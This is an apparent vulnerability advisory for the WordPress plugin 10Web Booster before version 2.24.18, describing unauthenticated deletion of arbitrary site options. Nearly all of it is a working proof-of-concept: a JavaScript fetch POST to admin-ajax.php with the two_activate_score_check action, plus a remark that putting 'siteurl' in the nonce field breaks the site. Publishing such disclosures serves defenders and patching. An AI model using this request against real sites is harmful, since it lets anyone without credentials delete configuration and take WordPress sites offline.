10Web Booster < 2.24.18 - Unauthenticated Arbitrary Option Deletion

Proof of Concept

fetch("http://127.0.0.1:8001/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded; charset=UTF-8",
  },
  "body": 'action=two_activate_score_check&nonce=template',
  "method": "POST",
});

Changing the `nonce` parameter to, for example, `nonce=siteurl` will cause the site to no longer work.